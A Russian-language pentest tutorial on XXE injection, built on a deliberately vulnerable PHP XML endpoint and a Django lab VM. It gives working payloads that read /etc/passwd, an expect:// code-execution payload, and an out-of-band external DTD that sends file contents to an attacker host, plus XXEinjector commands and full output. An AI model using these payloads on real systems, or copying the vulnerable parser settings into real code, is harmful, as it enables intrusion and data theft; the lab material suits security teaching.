
В ходе работ по тестирования на проникновение мы можем столкнуться с уязвимостью, которая позволяет нам выполнять атаки XML eXternal Entity (XXE) Injection. XXE Инъекция — это тип атаки на приложение, которое анализирует ввод XML. Хотя это относительно эзотерическая уязвимость по сравнению с другими векторными атаками веб-приложений, например, Cross-Site Request Forgery (CSRF), мы максимально используем эту уязвимость, когда она появляется, поскольку она может привести к извлечению конфиденциальных данных и даже к удаленному исполнению кода (RCE). В статье мы рассмотрим настройку уязвимого PHP-сервера, эксплуатируя уязвимость вручную, а затем перейдем к удобному инструменту под названием XXEInjector, чтобы автоматизировать этот процесс.
Мы будем использовать две площадки. Первая — это простой PHP-сервер, а вторая – это виртуальная машина, с уязвимым веб-приложение Django.
Настройка
Прежде чем более подробно узнать об этой атаке, будет полезно разобраться в том, как веб-приложение взаимодействует с XML-документом, позволяя эксплуатировать эту уязвимость. Мы создали виртуальную машину с простым PHP-сервером, который использует XML-документ для проверки учетных данных.
Эта виртуальная машина, наша первая площадка, Ubuntu 14.04.5, PHP 5 и Apache на борту. Мы использовали следующий скрипт для настройки конечной точки PHP, которая анализирует ввод XML. Вам также понадобится модуль php-xml, для работы парсинга XML ($ service apache restart).
<?php libxml_disable_entity_loader (false); $xmlfile = file_get_contents('php://input'); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; $pass = $creds->pass; echo "You have logged in as user $user"; ?>
Приведенный выше скрипт срабатывает, когда делается запрос к /xml_injectable.php.
<creds> <user>Ed</user> <pass>mypass</pass> </creds>
Ожидается, что четыре вышеуказанные строки будут введены в вышеупомянутую конечную точку PHP, и они будут сохранены в XML-файле под названием xml.txt. Этот файл используется как данные POST-запроса через CURL:
curl -d xml.txt localhost/xml_injectable.php
Ответ сервера:
You have logged in as user Ed
Самым интересным аспектом анализа входных файлов XML является то, что они могут содержать код, который указывает на файл на самом сервере. Это пример внешнего объекта. Вкратце мы рассмотрим полный диапазон внешних объектов, включая файлы, размещенные в Интернете через FTP и HTTP.
Давайте изменим файл xml.txt, чтобы он содержал следующий код:
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <creds> <user>&xxe;</user> <pass>mypass</pass> </creds>
Обратите внимание на выделенные жирным шрифтом элементы. После отправки запроса с указанным выше как POST-данными, сервер-жертва ответит своим собственным /etc/passwd:
You have logged in as user root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
Для повторения, входной XML-файл, который мы отправили (xml.txt), содержит код, чтобы указать серверу искать внешний объект, файл: /// etc / passwd, а затем ввести содержимое в поле «пользователь».
Удаленное исполнение кода
Если удача на нашей стороне, и модуль парсинга «PHP» загружен, мы можем использовать RCE. Давайте изменим содержание нашего файла:
<?xml version=«1.0» encoding=«ISO-8859-1»?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM «expect://id» >]>
&xxe;
mypass
Ответ от сервера будет выглядеть примерно так:
You have logged in as user uid=0(root) gid=0(root) groups=0(root)
Экземпляры, где RCE возможен через XXE, редки, поэтому перейдем к более распространенному сценарию: использование инструмента, чтобы помочь нам автоматизировать процесс извлечения данных.
Автоматизия XXE Injection с помощью Burp и XXEinjector [2]
Давайте перейдем к нашей второй площадке. Это виртуальная машина TurnKey Linux, на которой запущено веб-приложение Django, уязвимое для XXEi. В реальном сценарии пентеста мы используем инструменты автоматизации, вместо эксплуатации уязвимости вручную, поэтому давайте включим один из моих любимых инструментов оценки веб-приложений: Burp.
I) Настройте виртуальную машину
Просто распакуйте и запустите файл конфигурации VM (.vmx). В загружаемый файл включен файл readme, который поможет вам настроить частную сеть на вашем компьютере.
II) Настройте Burp
Burp действует как прокси-сервер между вашим компьютером и целевой машиной. Это помогает проверять, изменять и сканировать запросы и ответы на уровне приложений. Сканер, поставляемый с Burp Pro, является мощным при разумном использовании.
III) Сканирование уязвимой формы
У сервера VM есть уязвимая форма, которая предоставляется в /static/mailingList.html. Форма сообщения POSTS to / blog / newRegistration. Отправьте несколько рандомных значений и запускайте Burp scan. Не нужно сканировать форму; Нам просто нужен пример запроса XXEinjector для последующего использования.
Burp должен оповестить нас о уязвимости XXE, наряду с некоторыми отраженными XSS в качестве бонуса. Когда мы исследуем уязвимость XXE, мы получаем этои рекомендации.
Рисунок 1: XXE Advisory
Фактически, профессиональная версия Burp достаточно быстра, чтобы использовать Burp Collaborator, внешнюю службу, которую Burp может использовать, чтобы помочь в обнаружении уязвимостей или использовании целей. По сути, запрос Collaborator, отправляемый Burp уязвимому приложению, предназначен для вызова Burp Collaborator через разрешение DNS и веб-запросы, которые, в случае успеха, сообщат вашему экземпляру Burp о том, что целевой компьютер выполнил вредоносную полезную нагрузку. Большинство уязвимостей может быть обнаружено путем изучения или хронирования ответа, но иногда с помощью внешнего сервиса, такого как Burp Collaborator, вы можете перейти на следующий уровень. В этом случае Burp вытащил сам файл / etc / passwd, но также использовал Burp Collaborator, чтобы доказать нам, что приложение обратилось к внешнему серверу, чтобы вытащить строку.
Рисунок 2: файл / etc / passwd
На следующих изображениях показано, как Burp использовал Collaborator.
Рисунок 3: Запрос на соавторство
Рисунок 4: Ответ со стороны со строкой
Рисунок 5: Приложение использует строку из ответа коллаборатора, возможно подтверждение XXEi
Чтобы получить более точное управление процессом XXE Injection, давайте использовать XXEinjector. Нам потребуется незавершенная версия запроса. Мы сохраним это в файле request.txt.
Рисунок 6: Запрос Burp с вредоносным контентом
Рисунок 7: Незапрошенный запрос
Как работает XXEinjector?
XXEinjector работает немного по-другому, по сравнению с Burp (исключая Collaborator). Обратите внимание, что в ручном методе инъекции (раздел «Доказательство концепции») наряду с подходом Burp мы полагаемся на то, что сервер в конечном итоге каким-то образом вторит внедренному объекту. Это роскошь, которую мы не всегда можем найти в уязвимом приложении. Чтобы использовать приложение, которое не отражает результаты, нам придется прибегнуть к методам внеполосного использования, которые использует XXEinjector. Burp Collaborator похож на XXEinjector, поскольку оба они используют внеполосные методы.
Этот метод требует, чтобы приложение могло подключаться к сайту злоумышленника, что означает, что фильтрация выходных данных вступает в игру при атаке извне. XXEinjector может перечислять исходящие порты для нас, что является хорошей функцией, помогающей в работе инструмента. Важно отметить, что XXEinjector может быть немного филигранным, поскольку атака более сложна, чем отправка одного запроса. Мы не будем здесь разбираться с процессом выхода, поскольку это просто флаг, который вы передаете XXEinjector (—enumports).
Методология XXEinjector
1) Отправляет вредоносный запрос, который говорит удаленному серверу перезвонить, запрашивая файл с именем file.dtd. В этом же запросе от XXEinjector мы вызываем две другие сущности, которые могут быть выполнены только в том случае, если file.dtd успешно попадает на веб-сервер жертвы и интерпретируется правильно. Это огромная часть того, почему XXEinjector неважен. Например, для того, чтобы это могло работать на нашем PHP-сервере, который мы пересмотрим немного, нам нужно указать флаг XXEinjector, чтобы закодировать нашу полезную нагрузку в base64. Base64 использует ограниченный набор символов, который не приведет к сбою интерпретаторов в процессе выполнения эксплойта (например, кавычек), и ему нужен дополнительный шаг декодирования для того, чтобы WAF / IDS / IPS смог его поднять. Это помогает сделать работу более надежной и спокойной. Запрос выглядит примерно так. Интересующая линия выделена жирным шрифтом.
POST /xml_injectable.php HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 158
Host: 192.168.242.139
Content-Type: application/x-www-form-urlencoded
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM «192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
В игре три объекта: «удаленный», «int» и «трюк». В этом запросе определен только «remote», и это URL-адрес от нашей атакующей машины, на которой запущен XXEinjector. Когда XXEinjector запускает этот запрос, он запускает сервер на порту 80 (может быть изменен), ожидая обслуживания файла file.dtd.
2) Машина-жертва начинает синтаксический анализ запроса и подставляет «remote» для содержимого файла file.dtd (после обращения к нашей атакующей машине и захвата его). Файл File.dtd выглядит следующим образом (это целый файл):
<!ENTITY % payl SYSTEM «file:///etc/passwd»>
<!ENTITY % int "<!ENTITY % trick SYSTEM
‘http://192.168.240.1:80/?p=%payl;’>">
(Это необязательно должно быть на нескольких строках, мои строки атаки разрушают редактор WYSIWYG)
Обратите внимание, как мы определяем новую сущность, «payl», которая представляет собой URL-адрес файла, который мы пытаемся извлечь. Затем мы определяем два недостающих объекта из предыдущего запроса: «int» и «trick». Обратите внимание, что «трюк» — это объект, определенный в другом объекте, «int». Наконец, обратите внимание, что эта полезная нагрузка не закодирована. Некоторые символы кодируются из-за встраивания одного объекта в другой, но сам запрос не кодируется base64.
3) Отлично! Теперь у нас есть все наши сущности, поэтому здесь начинается ужасная часть этой атаки. Обратите внимание, что в определении сущности «trick» мы заменяем содержимое «payl» содержимым / etc / passwd. Это означает, что все, что должен сделать сервер-жертва, это перезвонить домой, сервер, на котором запущен XXEinjector, передает содержимое / etc / passwd в качестве параметра к этому URL-адресу. Приложению не нужно возвращать содержимое файла / etc / passwd в ответ на уязвимую веб-форму / страницу приложения. Он просто перезванивает домой с содержимым в этом параметре. XXEinjector анализирует параметр и сохраняет его в файле. Готово!
Практический пример
Хорошо, что теория велика, но когда мы приступим к использованию инструмента, мы столкнемся с некоторыми проблемами. Вернемся к нашей первой площадке — простому PHP-серверу, работающему со скриптом xml_injectable.php. Мы будем использовать эту площадку, а не Django, потому что у нас есть больше контроля над тем, что получает эхо. Вторая площадка, которую мы использовали, была хорошим примером сервера с открытым огнем, который мы вытащили из виртуальной машины онлайн, а затем запустили Burp против него. Технически мы могли бы модифицировать код Django, но изменить небольшой скрипт PHP легче. В качестве дополнительной заметки, Burp также получил те же уязвимости против нашей меньшей среды PHP.
Давайте модифицируем PHP-скрипт, комментируя нерелевантный код и код, который перекликается с вещами.
<?php
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents(‘php://input’);
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// $creds = simplexml_import_dom($dom);
// $user = $creds->user;
// $pass = $creds->pass;
// echo «You have logged in as user $user»;
?>
Таким образом, все, что мы делаем в этом скрипте, буквально загружает XML-форматированный запрос в объект PHP. Мы анализируем XML-документ / строку в PHP-объекте.
Давайте выполним запрос образца XXEinjector.
> sudo ruby XXEinjector.rb —host=192.168.240.1 —path=/etc/passwd
—file=phprequest.txt —proxy=192.168.240.1:8080 —oob=http —verbose
Флаги:
—host: Это IP-адрес нашей машины. XXEinjector должен знать это, чтобы обработать запрос на то, чтобы машина-жертва вернулась домой и захватила файл file.dtd.
—path: местоположение лута.
—file: содержит незапрошенный PHP-запрос, за исключением отметки, в которой мы хотим, чтобы XXEinjector запускал инъекцию, используя строку «XXEINJECT». Все, что находится под XXEINJECT, — это то, что осталось от наших предыдущих экспериментов и здесь относительно бессмысленно. Содержимое phprequest.txt соответствует следующему:
POST /xml_injectable.php HTTP/1.1
Host: 192.168.242.139
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
XXEINJECT
blah
mypass
—proxy: флаг не является обязательным. Я просто пропускаю свои запросы через Burp, чтобы посмотреть, как они выглядят. В качестве альтернативы, используйте флаг —verbose (который я использую в этом запросе), чтобы точно узнать, какой запрос делает XXEinjector и как выглядит файл file.dtd, который он использует.
—oob: флаг вне диапазона. Это говорит XXEinjector использовать http-протокол в запросе file.dtd для использования нашей машиной жертвы, когда он непреднамеренно отправляет нам обратно товар / etc / passwd. Это один из тех тонких флагов, с которыми вам приходится экспериментировать, поскольку это зависит от среды, которую вы пытаетесь использовать. Иногда определенные протоколы не используются, или некоторые (большинство) исходящие порты закрываются. Экспериментируйте с —oob, —ftpport, —httpport и т. Д.
После запуска этого запроса мы получаем следующий результат от XXEinjector, который является признаком отказа.
XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8», «Accept-Language»=>«en-US,en;q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>«1», «Content-Length»=>«158»}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM
«192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM «file:///etc/passwd»>
<!ENTITY % int "<!ENTITY % trick SYSTEM
‘http://192.168.240.1:80/?p=%payl;’>">
FTP/HTTP did not get response. XML parser cannot parse provided file or the application is not responsive. Wait or Next? W/n
Из-за использования многословного флага мы можем точно видеть, что делает XXEinjector. Мы видим, что XXEinjector был успешен в том, чтобы заставить жертвенный сервер перезвонить для /file.dtd (выделенные жирным шрифтом строки). Однако ближе к концу сервер-жертва не отправил товар обратно. Какого черта?
Ну, после изучения нашего журнала ошибок от Apache, мы заметили, что наш метод loadXML не получил достаточного массирования, чтобы заставить его выплюнуть товар.
[Sun Nov 06 09:10:46.145222 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument::loadXML(): PEReference: %int; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
[Sun Nov 06 09:10:46.145257 2016] [:error] [pid 1222] [client 192.168.242.1:64701] PHP Notice: DOMDocument::loadXML(): PEReference: %trick; not found in Entity, line: 1 in /var/www/html/xml_injectable.php on line 16
После некоторого исследования семантики XML и loadXML, я пришел к осознанию того, что существует проблема с кодировкой с тем, как специфицируется файл ресурсов (/ etc / passwd). К счастью, XXEinjector имеет флаг для кодирования этой строки, специально разработанный для того, чтобы PHP был счастлив. Мы просто добавляем флаг —phpfilter к нашему запросу.
> sudo ruby XXEinjector.rb —host=192.168.240.1 —path=/etc/passwd —file=phprequest.txt —proxy=192.168.240.1:8080 —oob=http —verbose —phpfilter
Выполнение этой команды приводит к следующему:
XXEinjector by Jakub PałaczyńskiDTD injected.
Enumeration locked.
Sending request with malicious XML:
192.168.242.139/xml_injectable.php
{«User-Agent»=>«Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:49.0) Gecko/20100101 Firefox/49.0», «Accept»=>«text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8», «Accept-Language»=>«en-US,en;q=0.5», «Accept-Encoding»=>«gzip, deflate», «Connection»=>«close», «Upgrade-Insecure-Requests»=>«1», «Content-Length»=>«158»}
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM«192.168.240.1:80/file.dtd»>%remote;%int;%trick;]>
blah
mypass
Got request for XML:
GET /file.dtd HTTP/1.0
Responding with XML for: /etc/passwd
XML payload sent:
<!ENTITY % payl SYSTEM «php://filter/read=convert.base64-encode/resource=file:///etc/passwd»>
<!ENTITY % int "<!ENTITY % trick SYSTEM
‘http://192.168.240.1:80/?p=%payl;’>">
Response with file/directory content received:
GET /?p=cm9vdDp4OjA6M(rest of base64 encoded string) HTTP/1.0
Enumeration unlocked.
Successfully logged file: /etc/passwd
Nothing else to do. Exiting.
После проверки в нашем каталоге XXEinjector Logs / <target_ip> /etc/passwd.log, мы замечаем, что наши товары ждут.
Ссылки:
Vulnerable Django VM
drive.google.com/file/d/0B0lXZ1OX4ZS-aUdoRUVQSDg3eG8/view
XXEinjector
github.com/enjoiz/XXEinjector
Vulnerable PHP Script
colesec.inventedtheinternet.com/attacking-xml-with-xml-external-entity-injection-xxe
ссылка на оригинал статьи https://habrahabr.ru/post/325270/
Добавить комментарий